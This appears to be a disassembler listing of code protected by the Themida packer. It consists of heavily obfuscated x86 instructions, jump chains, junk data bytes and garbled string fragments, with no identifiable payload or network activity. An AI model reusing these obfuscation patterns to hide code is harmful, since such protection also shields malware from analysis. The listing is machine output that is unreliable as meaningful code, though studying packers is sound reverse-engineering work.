add dword ptr [esp], 9B83197h
pop esi
sub esi, 9B83197h
jmp loc_56331E
; ---------------------------------------------------------------------------
dw 875Ch
dd 895C241Ch, 52BA2414h, 55558B72h, 6C2817BDh, 5DEF2911h
dd 0FFE15CE9h, 4EC83FFh, 51241489h, 0E9C0A0B1h, 0DCE98005h
dd 0C09BE980h, 0C18005E9h, 0DA2BE930h, 0F4800000h, 9EC80DCh
dd 8058E328h, 54E991EBh, 0E90000CFh, 0FFFF8C87h
dword_559F34 dd 12B551ACh, 0C016B450h, 0E48005E4h, 0D0DBE9DFh, 1C890000h
; DATA XREF: Themida_:00552ABCo
dd 6E1BBB24h, 0E3815797h, 69FC680Dh, 0E9D3F74Bh, 0FFFFCF22h
; ---------------------------------------------------------------------------
loc_559F5C: ; CODE XREF: Themida_:0055585Aj
mov edi, [esp]
add esp, 4
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_55927F
; ---------------------------------------------------------------------------
loc_559F77: ; CODE XREF: Themida_:005667F6j
add ebx, 40B70AF3h
jmp loc_565AFB
; ---------------------------------------------------------------------------
loc_559F82: ; CODE XREF: Themida_:005598A6j
xchg esi, [esp]
pop esp
jmp loc_5630E0
; ---------------------------------------------------------------------------
db 0BBh
dd 22472E64h, 2E17BE56h, 0F6816A8Dh, 1B593E94h, 56BAE9h
db 0
; ---------------------------------------------------------------------------
loc_559FA1: ; CODE XREF: Themida_:0055A393j
add ebx, 4
push esi
push 4
pop esi
jmp loc_5635C8
; ---------------------------------------------------------------------------
db 2Dh
dd 384D781Ch, 0D1E9C801h, 0C10000C3h, 0D5F706E5h, 7E79ED81h
dd 5EE9A7B2h, 29000013h, 25F9E9FDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559FD6: ; CODE XREF: Themida_:00556BB5j
sub ebx, 5C35684Fh
mov edi, [esp]
add esp, 4
mov dx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_565726
; ---------------------------------------------------------------------------
loc_559FFF: ; CODE XREF: Themida_:0056383Aj
push ecx
xor dword ptr [esp], 2A730A3Eh
pop dword ptr [edi+24h]
push ebx
mov ebx, 24h
add ebx, edi
xor dword ptr [ebx], 2A730A3Eh
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
xor edx, edx
push 7D13h
mov [esp], ebx
push 83Bh
mov [esp], ecx
mov ecx, 258C4003h
jmp loc_5669F5
; ---------------------------------------------------------------------------
db 29h
dd 81042474h, 0AC042444h, 0E941D51Ch, 60C7h
aM0H? db '╛0ьh?,',0 ; DATA XREF: Themida_:00552B08o
align 4
dd 0B2241489h, 0B3535084h, 0E9D888DCh, 80ACh
; ---------------------------------------------------------------------------
loc_55A068: ; CODE XREF: Themida_:0055A083j
add eax, ebp
jmp loc_55640C
; ---------------------------------------------------------------------------
loc_55A06F: ; CODE XREF: Themida_:0056478Fj
add esp, 4
xor ebp, 4CBB1536h
mov esi, [esp]
add esp, 4
sub eax, 17FB28A4h
jmp loc_55A068
; ---------------------------------------------------------------------------
dd 88515066h, 59C888F1h, 0C688D0F6h, 39E95866h, 500001Bh
dd 53D028D3h, 0D32DF001h, 553D028h, 120559FDh, 58C7015Eh
dd 665FF831h, 5600B60Fh, 45AA68h, 24248900h, 4240483h
dd 4BB535Eh, 1000000h, 2B685BDEh, 89000007h, 47E9240Ch
dd 8100008Ch, 146D50C1h, 242C8B29h, 8904EC83h, 5EE9241Ch
db 0F6h, 2 dup(0FFh)
byte_55A0EF db 0FFh ; DATA XREF: Themida_:0055299Co
a4Snz db '4$ИN┤',0
dw 5000h
dd 0FFB177E9h, 5FFE89FFh, 295EF029h, 1F3705E8h, 8B5D642Eh
dd 0C483242Ch, 4139E904h, 0BD550000h, 0AD320D7h, 2C8BEE29h
dd 4C48324h, 2C31E9h
db 0
; ---------------------------------------------------------------------------
loc_55A129: ; CODE XREF: Themida_:00566B5Dj
pop ecx
jmp loc_55C3E1
; ---------------------------------------------------------------------------
db 31h
dd 1055EF0h, 0F7000000h, 32C625D8h, 0E8C13DADh, 32CA6802h
dd 0FEE90000h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A14B: ; CODE XREF: Themida_:00566F72j
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
and eax, edx
mov edx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push ebp
push 6B8Ch
mov [esp], ebx
push 1
mov ebx, [esp]
jmp loc_565221
; ---------------------------------------------------------------------------
db 81h
dd 6BB162EDh, 5DEF29F6h, 121DCF81h, 58E93FE5h, 31FFFFBAh
dd 1C33241Ch, 0CD5DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A19E: ; CODE XREF: Themida_:0055CF98j
pop eax
shr ecx, 2
push 2180h
mov [esp], ebx
jmp loc_559174
; ---------------------------------------------------------------------------
loc_55A1AF: ; CODE XREF: Themida_:00562AA7j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop esi
sub dword ptr [esp+4], 151E4D03h
add [esp+4], eax
push ebx
push ecx
mov ecx, 151E4D03h
jmp loc_557E2A
; ---------------------------------------------------------------------------
dw 0BB53h
dd 4E965F02h, 0AE9DE9h, 3D616800h, 0C890000h, 4B924h, 0C5810000h
dd 69C73022h, 5657CD01h, 5B12A8BEh, 35B85000h, 0E9050174h
dd 0AC56h, 6857EDD1h, 142D89h, 0EBC5815Fh, 29219253h, 0EBB951FDh
dd 29219253h, 73E959CDh
db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A22B: ; CODE XREF: Themida_:0055DDFAj
mov [esp], ecx
push esp
mov ecx, [esp]
jmp loc_5656CC
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24248900h, 4240481h, 8B000000h, 0C483240Ch, 0CD4FE904h
dd 0D101FFFFh, 4C1835Ah, 31240C33h, 0C33240Ch, 0C9095C24h
dd 0E86C840Fh, 0EC83FFFFh, 243C8904h, 9268E789h, 0E900005Bh
dd 2ED9h
; ---------------------------------------------------------------------------
loc_55A27C: ; CODE XREF: Themida_:00561353j
dec ch
xor ch, 0B1h
shl ch, 2
jmp loc_5584D7
; ---------------------------------------------------------------------------
loc_55A289: ; CODE XREF: Themida_:00553043j
sub edi, eax
pop eax
xchg edi, [esp]
pop esp
mov [esp], edx
jmp loc_565F9C
; ---------------------------------------------------------------------------
dd 0D0E95250h, 8FFFFFF7h, 248B2404h, 68E9F724h, 753Eh
dd 68240489h, 52BBh, 24048F54h, 4240483h, 0B7B4E958h, 0C288FFFFh
dd 885AD188h, 0F65B66F8h, 30C830D1h, 4C830C1h, 812C0401h
dd 4ECh, 241C8900h, 81C28852h, 4ECh, 24048900h, 0C788D088h
dd 88505A58h, 0E9E288FCh, 0FFFFAF05h, 54243489h, 5024348Bh
dd 405E089h, 5000000h, 4, 5C240487h, 8904EC83h, 34BB241Ch
dd 8700D773h, 87DAF7D3h, 68D3h, 0BD550000h, 2AB53B0Ah
dd 4246C01h, 0EAD6E95Dh, 814DFFFFh, 25511FEDh, 1CB85009h
dd 31E6E77Bh, 24048BC5h, 81E28952h, 4C2h, 4C28300h, 5C241487h
dd 295DEE89h, 0C7815BDEh, 4BE24F03h, 0EF81F701h, 4BE24F03h
dd 8324348Bh, 0ACE904C4h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A37B: ; CODE XREF: Themida_:0055F75Bj
mov [esp], edi
mov edi, 9DF3E64h
xor eax, edi
pop edi
add esi, eax
pop eax
push 27D2h
mov [esp], ebx
mov ebx, esp
jmp loc_559FA1
; ---------------------------------------------------------------------------
dd 30BDC181h, 0E98139ACh, 66BF50F1h, 67A8C181h, 0F1016E0Fh
dd 67A8E981h, 0C1816E0Fh, 66BF50F1h, 30BDE981h, 0BA5239ACh
dd 27DE776Dh, 0FF5AD101h, 34FF2434h, 0E9575E24h, 0FFFFAE72h
; ---------------------------------------------------------------------------
loc_55A3D4: ; CODE XREF: Themida_:00553F29j
mov ebx, 48CF1EC0h
xor ebx, 5B1256F1h
jmp loc_564F3E
; ---------------------------------------------------------------------------
aPirsxm db 'P┴ЮИЕ▄',0
align 4
dd 3345C005h, 2FF30579h, 0E8011D2Dh, 2D2FF32Dh, 45C02D1Dh
dd 0FAE97933h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A407: ; CODE XREF: Themida_:0055827Ej
mov [esp], eax
mov eax, 128F2FCEh
xor ecx, eax
pop eax
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], ecx
mov ecx, 3C7865EDh
and ecx, 7E322026h
and ecx, 592F122Fh
shl ecx, 7
inc ecx
push edx
push 2EBB7B2Ah
mov edx, [esp]
push ecx
push esp
jmp loc_5638F6
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 8
dd 6FCFBF57h, 0BE560B84h, 745073D2h, 348BF701h, 4C48324h
dd 2265E952h, 0C4830000h, 0B5E98104h, 1027171h, 0B5C181E9h
dd 5D027171h, 61BA5255h, 0BD1FAD28h, 1FAD2863h, 7444E9h
dd 243C2900h, 0E9574F5Fh, 0FFFFF6BAh, 0BEE9525Eh
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A49B: ; CODE XREF: Themida_:00555F82j
add ebp, 0B333AE6h
jmp loc_55C593
; ---------------------------------------------------------------------------
dw 0C89h
dd 0AE7B924h, 0D1F72546h, 2455E949h, 0E7C10000h, 0FEC78104h
dd 894D9CEDh, 0D386E9FEh, 0ABFFFFFh, 0F7176712h, 0E7C147D7h
dd 1FEF8103h, 10C62F4h, 0E9575FF9h, 9407h, 0CE1A15BFh
dd 0BFE94751h
db 3Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A4EB: ; CODE XREF: Themida_:0055C3F6j
pop ecx
push ebx
push ebp
jmp loc_5585F3
; ---------------------------------------------------------------------------
loc_55A4F3: ; CODE XREF: Themida_:0055C6C0j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_5629AB
; ---------------------------------------------------------------------------
aOxmc1Xskl db '╦oЕ▄c1гXИ╙l',0
dd 88505800h, 58E788F4h, 88CFFE5Ah, 0C05B66F9h, 0E98004E1h
dd 4EC83DAh, 88241489h, 5AF388CEh, 0B6526659h, 66F0282Fh
dd 8324148Bh, 0D82802C4h, 464DE9h, 0D3665C00h, 0E99C2424h
dd 30D4h, 57241C89h, 377AB168h, 243C8B2Ch, 8119E953h, 0FB890000h
dd 0FF9561E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A565: ; CODE XREF: Themida_:00562AAFj
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55E9AB
; ---------------------------------------------------------------------------
dd 5D2434FFh, 5E08950h, 4, 8704C083h, 9CE92404h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A58B: ; CODE XREF: Themida_:00554426j
xchg ecx, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5647B2
; ---------------------------------------------------------------------------
loc_55A59D: ; CODE XREF: Themida_:005555ECj
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
push ebp
push edi
mov edi, 1E0A6F89h
mov ebp, edi
pop edi
push edi
mov edi, 3E835FB7h
inc edi
and edi, 3FA557D3h
not edi
jmp loc_5576C0
; ---------------------------------------------------------------------------
db 0C0h
dd 0B15106E0h, 59C82872h, 1FB968h, 24148900h, 860AE9h
dd 5BDE0100h, 2BB53h, 0DE290000h, 694EE95Bh, 0BF570000h
dd 11171742h, 0FFE601E9h, 41E95DFFh, 89FFFFF7h, 0B9682414h
dd 89000012h, 148B2404h, 80685524h, 5400002Eh, 0E924048Fh
dd 48CFh
; ---------------------------------------------------------------------------
loc_55A618: ; CODE XREF: Themida_:00561D55j
sub ebp, 41E2CB3h
or ecx, ebp
pop ebp
xor ecx, 23FE1187h
xor ecx, 1E166F6h
jmp loc_5594EE
; ---------------------------------------------------------------------------
loc_55A632: ; CODE XREF: Themida_:00561E71j
mov ebx, [esp]
add esp, 4
sub ebp, 4
jmp loc_562AAC
; ---------------------------------------------------------------------------
loc_55A643: ; CODE XREF: Themida_:005598F9j
sub ebx, 7F3179EAh
jmp loc_558D93
; ---------------------------------------------------------------------------
loc_55A64E: ; CODE XREF: Themida_:00561CB1j
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5680ED
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 0CFC4E903h, 0BB530000h, 53A104BAh, 6198E9h, 81F50100h
dd 783818EDh, 8A0FE918h, 505D0000h, 4B8h, 58C20100h, 31241433h
dd 14332414h, 88BDE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A69A: ; CODE XREF: Themida_:0056203Aj
add eax, 29912E4h
add eax, 3B31A58h
pop edi
xchg eax, [esp]
pop esp
add ebx, eax
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
idiv ecx
push 276Dh
jmp loc_55B4EE
; ---------------------------------------------------------------------------
loc_55A6C4: ; CODE XREF: Themida_:0055798Dj
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push 7571h
mov [esp], esi
push edi
mov edi, 5D821A7Eh
mov esi, 0A27DE586h
add esi, edi
mov edi, [esp]
push esi
mov esi, esp
jmp loc_5566DD
; ---------------------------------------------------------------------------
loc_55A6F4: ; CODE XREF: Themida_:00558859j
xchg ebp, [esp]
pop esp
jmp loc_55B08E
; ---------------------------------------------------------------------------
loc_55A6FD: ; CODE XREF: Themida_:00565DFDj
mov [esp], edi
mov edi, 14A4949h
push esi
mov esi, 0FBCF10D6h
jmp loc_553C67
; ---------------------------------------------------------------------------
loc_55A710: ; CODE XREF: Themida_:00559784j
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_557F53
; ---------------------------------------------------------------------------
loc_55A721: ; CODE XREF: Themida_:00561A0Dj
mov [esp], ecx
push 1E00h
mov [esp], edx
push 6B5Eh
mov [esp], ebx
push ecx
mov ecx, esp
jmp loc_567B2A
; ---------------------------------------------------------------------------
dd 0E9240C89h, 0FFFFC5A6h
; ---------------------------------------------------------------------------
loc_55A744: ; CODE XREF: Themida_:00552DF2j
xor esi, 7DF92716h
jmp loc_55EBF1
; ---------------------------------------------------------------------------
db 83h
dd 2C3302C5h, 242C3124h, 0E9242C33h, 4771h, 0FFFFED81h
dd 0E945FFFFh, 5B97h, 529B2BBh, 0D3F74B5Fh, 6F3814Bh, 0E960A53Fh
dd 4BD8h
; ---------------------------------------------------------------------------
loc_55A780: ; CODE XREF: Themida_:0055D6F7j
and eax, edi
push dword ptr [esp]
pop edi
add esp, 4
sub eax, 0F10B08A2h
mov esi, eax
push dword ptr [esp]
pop eax
add esp, 4
neg esi
push 1CBFh
mov [esp], eax
push 239Fh
jmp loc_55AA91
; ---------------------------------------------------------------------------
dw 34FFh
aYritusN db '$YR┴БUИ╫n',0
dw 8100h
dd 4C5h, 242C8700h, 28FB045Ch, 0FFFB2CF0h, 575A2434h, 0BD555F54h
dd 74457E3Ah, 6C82C581h, 0D5F7682Fh, 0C1454545h, 46E904EDh
dd 8B000082h, 3CD22424h, 0C4E99C24h, 89FFFF83h, 0B4BF243Ch
dd 0E9090B7Ah, 7C29h, 0EB81595Dh, 53B021ECh, 0C381EB01h
dd 53B021ECh, 0FFD326E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A819: ; CODE XREF: Themida_:00566FA5j
mov [esp], ebp
push esp
pop ebp
sub esp, 4
mov [esp], esi
jmp loc_55E8F1
; ---------------------------------------------------------------------------
dd 4E87F581h, 0EA01089Ch, 55A9E95Dh, 0C6810000h, 1903463Ah
dd 1FF5EE81h, 0C6013CC8h, 3F4BBB53h, 8143440Bh, 0D46698CBh
dd 29F38134h, 50481760h, 1D28E9h, 8355E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A866: ; CODE XREF: Themida_:005553E3j
pop esp
ror dword ptr [esp], cl
pushf
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_55A870: ; CODE XREF: Themida_:0055C373j
add ebx, ecx
jmp loc_553B08
; ---------------------------------------------------------------------------
db 5Ah
dd 0B778E955h, 0EA81FFFFh, 46F57ECAh, 0C281CA29h, 46F57ECAh
dd 0C1DAF759h, 0C28105E2h, 7329274Eh, 85FDE942h, 0FF53FFFFh
dd 0E9042474h, 597Bh, 5CB668h, 24248900h, 4BB53h, 5C010000h
dd 1C8B0424h, 4C48124h, 8B000000h, 0C481241Ch, 4, 4C381h
dd 0F8E90000h, 89000008h, 1368241Ch, 89000067h, 0CDBD242Ch
dd 0C149A13Ch, 0E58104E5h, 586D446Dh, 6997CD81h, 0E950533Dh
dd 0FFFFD810h, 4957F681h, 0EEC1280Ah, 16EE8105h, 0E9018072h
dd 0EB4h
; ---------------------------------------------------------------------------
loc_55A910: ; CODE XREF: Themida_:00554D88j
mov esi, 7DD1138Ch
add edx, esi
pop esi
not edx
inc edx
jmp loc_5558CC
; ---------------------------------------------------------------------------
dd 0C4BF5756h, 0BE365F1Bh, 1A377E75h, 8106EEC1h, 9437EEC6h
dd 2CE6812Eh, 8102336Fh, 206C3CEh, 4C6E903h, 0D3010000h
dd 0FFC386E9h, 4C481FFh, 58000000h, 34B56853h, 14890000h
dd 587FBA24h, 81427E5Fh, 8CEC3DC2h, 0FFD3898Fh, 148B2434h
dd 4C48324h, 4C481h, 22E90000h, 0F7FFFFDCh, 4BED81DDh
dd 811D8F43h, 0AF117BF5h, 4F58127h, 89E4D657h, 7B6AE9EEh
dd 0D1310000h, 801FE9h
db 0
; ---------------------------------------------------------------------------
loc_55A9A1: ; CODE XREF: Themida_:00553AA8j
mov [esp], ebp
jmp loc_555A32
; ---------------------------------------------------------------------------
db 68h, 0CEh, 31h
dd 1C890000h, 5D54BB24h, 6855D0h, 68000000h, 0E4Bh, 0E9240489h
dd 0FFFFD903h, 380CEE81h, 0C681478Ch, 6FAA41B3h, 0F2E9F389h
dd 2DFFFFD5h, 44BA5586h, 0E902F42Dh, 5EEE055Eh, 63E909F4h
dd 51FFFFD0h, 0EC88A5B5h, 51665059h, 0EC88D4B5h, 0EC805966h
dd 0CFB551CBh, 9005E9h, 7BF6600h, 0FE09663Ch, 0EC815F66h
dd 2, 47F0E9h, 59980400h, 0B551D828h, 58B05003h, 0C8FE1524h
dd 0CA45E9h
db 0
; ---------------------------------------------------------------------------
loc_55AA31: ; CODE XREF: Themida_:0056199Aj
pop ebx
push edi
push edx
jmp loc_55AF97
; ---------------------------------------------------------------------------
loc_55AA39: ; CODE XREF: Themida_:00559411j
xchg esi, edx
xchg edx, esi
or esi, 431024D8h
add esi, 597F25F5h
sub ebx, 704D52FFh
sub ebx, esi
push eax
jmp loc_55CAC5
; ---------------------------------------------------------------------------
aZkbNltrqs db '!сZK│цnlTrQИ-л',0
dw 0C000h
dd 0EBC006E3h, 60CB8007h, 0ACC380h, 4866E9DEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AA7A: ; CODE XREF: Themida_:00557A1Aj
not dword ptr [esp]
pop eax
not eax
sub eax, 6E21B7D9h
jmp loc_565066
; ---------------------------------------------------------------------------
loc_55AA8A: ; CODE XREF: Themida_:0055E1FAj
pop ebx
push ebx
jmp loc_558410
; ---------------------------------------------------------------------------
loc_55AA91: ; CODE XREF: Themida_:0055A7A9j
mov [esp], ebx
push 67Dh
mov [esp], ebp
push 722C0104h
jmp loc_555E63
; ---------------------------------------------------------------------------
dw 0E689h
dd 9EE95155h, 66FFFFE4h, 0E906E2C1h, 0FFFF88B7h, 0ED05F001h
dd 578E50Bh, 5536565Eh, 0BE685356h, 5B5C0F3Ch, 8108EBC1h
dd 6E9D1DEBh, 5BDE89F6h, 5E5EF001h, 238CE9h
db 0
byte_55AAE1 db 81h, 0ECh, 4 ; DATA XREF: Themida_:00552B64o
dd 89000000h, 0B368241Ch, 0E9000001h, 7EBDh, 8324348Bh
dd 7DE904C4h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AAFF: ; CODE XREF: Themida_:00557E40j
push 277h
mov [esp], esi
jmp loc_55CD89
; ---------------------------------------------------------------------------
aA0Z db '─Йв0яZ',0
aY6s9c db 'хY(х,6И9√',0
align 2
dw 595Dh
dd 0CD87D1F7h, 0FFBFABE9h, 4B951FFh, 1000000h, 0FF5059C8h
dd 0FF042474h, 68582434h, 551Eh, 89241C89h, 4C381E3h, 83000000h
dd 1C8704C3h, 786BE924h, 0CB300000h, 0FE08E3C0h, 77EB80CBh
dd 1C8BD800h, 4C48324h, 882CF028h, 59C1E9h, 24348900h
dd 0FFBA86E9h, 59C801FFh, 0BD6BE9h
db 0
; ---------------------------------------------------------------------------
loc_55AB81: ; CODE XREF: Themida_:00564C57j
push edi
mov edi, 27C1523h
sub ebx, 722F2E92h
sub ebx, edi
push ebp
push esi
mov esi, 722F2E92h
mov ebp, esi
pop esi
add ebx, ebp
mov ebp, [esp]
add esp, 4
pop edi
add ebx, eax
add ebx, 27C1523h
pop eax
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
loc_55ABBA: ; CODE XREF: Themida_:00563FFEj
push 58F1h
mov [esp], ebx
sub dword ptr [esp], 1412413Bh
mov eax, [esp]
add esp, 4
jmp loc_559D19
; ---------------------------------------------------------------------------
db 55h
dd 911097BDh, 0C1D5F777h, 0F58108E5h, 2C0C324Ch, 0E6F7ED81h
dd 0EA89E46Bh, 8BD0015Dh, 0C4812414h, 4, 81242C8Bh, 4C4h
dd 9652E900h, 3C89FFFFh, 6FD1BF24h, 0CF8119C8h, 16E2935h
dd 82AF781h, 0BE5642B8h, 58EC4231h, 62B8E950h
db 2 dup(0)
word_55AC2A dw 8B66h ; DATA XREF: Themida_:005529A4o
dd 0E955240Ch, 0FFFFB3AEh, 31240C33h, 0C33240Ch, 4875C24h
dd 74E95C24h, 59FFFF7Fh, 0BF34E9h
db 0
; ---------------------------------------------------------------------------
loc_55AC4D: ; CODE XREF: Themida_:0055B58Bj
add ebx, 4
xchg ebx, [esp]
pop esp
not ebp
inc ebp
jmp loc_560453
; ---------------------------------------------------------------------------
loc_55AC5C: ; CODE XREF: Themida_:0055E292j
sub ebp, 3BBD36DEh
jmp loc_55F418
; ---------------------------------------------------------------------------
loc_55AC67: ; CODE XREF: Themida_:00553C9Dj
dec ebx
dec ebx
dec ebx
xor ebx, 9F969BEh
jmp loc_558CBF
; ---------------------------------------------------------------------------
db 0B9h, 46h, 0B5h
dd 0CD299E44h, 93E5E959h, 0B951FFFFh, 4, 386CE9h
db 0
; ---------------------------------------------------------------------------
loc_55AC8D: ; CODE XREF: Themida_:00553811j
shl edi, 3
push ebx
push eax
jmp loc_5622BC
; ---------------------------------------------------------------------------
db 89h
dd 6EE92404h, 54FFFF95h, 83242C8Bh, 0DF6804C4h, 8900007Bh
dd 23BB241Ch, 0C1032256h, 0EB8102EBh, 29386CE6h, 0C78C381h
dd 0C3813C57h, 0EC18CAEAh, 67E7B850h, 0E4E9517Bh, 52FFFF8Bh
dd 8B078EBAh, 0C075E96Fh, 0EE010000h, 5DD8E9h, 5D02900h
dd 10CF7C30h, 24348B5Ah, 0C216E9h
db 0
; ---------------------------------------------------------------------------
loc_55ACF5: ; CODE XREF: Themida_:005652B3j
push ecx
jmp loc_55E1CC
; ---------------------------------------------------------------------------
loc_55ACFB: ; CODE XREF: Themida_:0056708Bj
xor edx, 3CB81E96h
shl edx, 1
or edx, 5DE52447h
inc edx
xor edx, 0ABD6E9Bh
add edx, 91BE8879h
xor esi, edx
pop edx
and edx, esi
pop esi
not edx
push eax
mov eax, 2D413B66h
shr eax, 1
add eax, 39A23663h
add edx, eax
jmp loc_558446
; ---------------------------------------------------------------------------
word_55AD32 dw 8B66h ; DATA XREF: Themida_:00552A94o
dd 9AE9240Ch
db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AD3B: ; CODE XREF: Themida_:0055DF3Dj
xor esi, 54B7A9Eh
mov ecx, esi
pop esi
not ecx
jmp loc_5543C0
; ---------------------------------------------------------------------------
loc_55AD4B: ; CODE XREF: Themida_:00552E3Ej
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
or eax, eax
jz loc_561C4D
push ebp
push esp
pop ebp
add ebp, 4
push eax
jmp loc_55547E
; ---------------------------------------------------------------------------
dd 0C07FB551h, 0F65104E5h, 5901245Ch, 8904EC83h, 8B42404h
dd 0E908ECC0h, 0FFFF98B7h, 0D09CF81h, 0E9503980h, 0FFFF91B0h
dd 77FDEE81h, 0F68127D0h, 192A4499h, 0C07AF681h, 0B951B2AFh
dd 5FB051B9h, 8159CE01h, 0A41D16E6h, 0C6814E79h, 0ADBBFDA5h
dd 295EF001h, 9D77E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ADC6: ; CODE XREF: Themida_:005636EFj
inc ebx
jmp loc_566177
; ---------------------------------------------------------------------------
dd 0D2F7D687h, 0F681D687h, 56DF1086h, 44AEE681h, 0B951313Fh
dd 20E84744h, 3FC7F181h, 0CE0122E5h, 0BA5259h, 29000000h
dd 31D631F2h, 0CCA1E9F2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ADFE: ; CODE XREF: Themida_:00558505j
mov edx, [esp]
add esp, 4
jmp loc_5640E7
; ---------------------------------------------------------------------------
dd 126B68h, 4415E900h, 248B0000h, 24040124h, 4486E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AE22: ; CODE XREF: Themida_:00557F44j
xor edi, 541B0FF4h
jmp loc_55F1A8
; ---------------------------------------------------------------------------
loc_55AE2D: ; CODE XREF: Themida_:005596D7j
push ebx
mov ebx, esp
jmp loc_55885E
; ---------------------------------------------------------------------------
loc_55AE35: ; CODE XREF: Themida_:005642FFj
pop esi
push ebp
mov ebp, 6032901h
neg ebp
jmp loc_55B014
; ---------------------------------------------------------------------------
db 68h
dd 66D7h, 88240489h, 0FFE188D4h, 48B2434h, 0E1895124h
dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 0C581E589h
dd 4, 7214BA52h, 0DAF712F2h, 989EE9h, 24048700h, 2404895Ch
dd 4EC81h, 3C890000h, 3479BF24h, 0C14F2BB5h, 0BD5502E7h
dd 55112DC1h, 8103EDC1h, 0CD53D7EDh, 5DEF315Bh, 0E95FF889h
dd 0FFFFD2A9h
; ---------------------------------------------------------------------------
loc_55AEB0: ; CODE XREF: Themida_:0055B65Cj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5582B1
; ---------------------------------------------------------------------------
aISee db '┴,$Иee',0
align 4
loc_55AECC: ; CODE XREF: Themida_:005587ABj
sub esp, 4
mov [esp], ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
mov esp, [esp]
sub ebx, 13DF7A98h
sub ebx, eax
push edi
push edx
push 58A5h
mov [esp], esi
mov esi, 55A40555h
push ebx
sub esp, 4
mov [esp], edx
mov edx, 309C7A32h
inc edx
neg edx
add edx, 0A704F45h
jmp loc_558A77
; ---------------------------------------------------------------------------
db 81h
dd 42BF47F5h, 0E9E801F6h, 5E27h, 386ABF2Dh, 0CEE95B30h
db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AF2F: ; CODE XREF: Themida_:0056312Aj
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_55439F
; ---------------------------------------------------------------------------
db 5Ch, 5Dh, 8Bh
dd 0C483243Ch, 5BDE0104h, 5604C683h, 0FF8648E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AF5D: ; CODE XREF: Themida_:00555514j
not ebp
xor esi, ebp
xor ebp, esi
xor esi, ebp
xor esi, eax
xor eax, esi
jmp loc_563147
; ---------------------------------------------------------------------------
loc_55AF6E: ; CODE XREF: Themida_:0055C172j
add esp, 4
sub esi, 6DCD7E80h
push edx
mov edx, 52BE455Dh
add esi, edx
pop edx
add esi, ebp
sub esi, 52BE455Dh
add esi, 6DCD7E80h
pop ebp
jmp loc_55E1EC
; ---------------------------------------------------------------------------
loc_55AF97: ; CODE XREF: Themida_:0055AA34j
mov edx, 4CC95520h
sub edx, 6A2236F7h
shl edx, 5
jmp loc_55D228
; ---------------------------------------------------------------------------
dw 0BD55h
dd 27385437h, 1C05C581h, 0ED81009Bh, 346E52DFh, 0FCB3E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AFC2: ; CODE XREF: Themida_:005580E8j
push eax
mov eax, 63B26194h
jmp loc_553DC1
; ---------------------------------------------------------------------------
loc_55AFCD: ; CODE XREF: Themida_:00565A04j
push esp
pop eax
jmp loc_556211
; ---------------------------------------------------------------------------
loc_55AFD4: ; CODE XREF: Themida_:0055E7DDj
pop edx
sub ebp, 3A701EB0h
sub ebp, esi
add ebp, 3A701EB0h
pop esi
jmp loc_557B20
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 87000000h, 815C2434h, 4ECh, 242C8900h, 3736E9BDh, 86F58150h
dd 6802325Ch, 24D0h, 0E9242C89h, 37FCh
; ---------------------------------------------------------------------------
loc_55B014: ; CODE XREF: Themida_:0055AE3Ej
or ebp, 60772F43h
xor ebp, 0F9FFFFFBh
add esi, ebp
pop ebp
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_559EB1
; ---------------------------------------------------------------------------
dd 0FF240C89h, 0E9042474h, 0FFFF99E6h, 8104C483h, 0FFE97CC5h
dd 5DE989EEh, 2454E9h, 0BE98100h, 0E9626B5Ah, 3C2Eh, 0B298E958h
